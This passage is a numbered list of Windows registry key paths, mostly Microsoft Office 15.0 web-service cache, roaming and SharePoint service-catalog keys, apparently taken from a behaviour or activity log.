  1199. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\packager.dll,-2000",
  1200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1218. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\ProductNonBootFilesIntl_1033",
  1219. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
